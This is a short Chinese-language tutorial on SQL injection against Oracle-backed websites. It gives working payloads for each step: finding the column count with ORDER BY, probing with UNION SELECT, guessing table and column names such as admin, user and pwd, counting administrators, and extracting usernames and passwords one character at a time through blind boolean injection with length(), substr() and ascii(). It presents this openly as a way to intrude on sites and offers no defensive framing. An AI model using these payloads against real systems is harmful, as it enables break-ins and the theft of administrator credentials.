Oracle注入

1.首先order by 数量确定列的数量

2.然后union select null,’null’,null from admin   必须用null如果返回错入则代表引号内的列不是字符列,直到返回正确的为止

3.判断一下数据库中的表网址后面加上and (select count(*) from admin) <>0 返回正常,说明存在admin表。如果返回错误可将admin改为username,manager等常用表名继续猜解。

Oracle注入

4.判断列名and (select count(*) from admin) <>0 将这条语句中的*号替换为常用的列名,如:and (select count(user) from admin) <>0如果存在则代表admin这个表中有user这个列

5.判断该网站下有几个管理员,如果有多个的话入侵的几率就会加大。

例如:and (select count(*) from admin)=1

返回正常说明只有一个管理员。

6.判断账号的长度 and (select count(*) from admin where length(name)>=5)=1

说明:length()函数用于求字符串的长度此处猜解的用户名长度和5比较,即可猜测是否由5个字符组成。

7.判断第一个字母 and (select count(*) from admin where ascii(substr(name,1,1))>=9)=1

说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取他的ascii码值。

Oracle注入

8. 重复此操作即可推出全部的用户名

如:and (select count(*) from admin where ascii(substr(name,2,1))>=9)=1     猜解第二个字符。。。依次类推

继续猜解密码:and (select count(*) from admin where ascii(substr(pwd,1,1))>=9)=1   猜解pwd表的第一个字符

 

相关文章: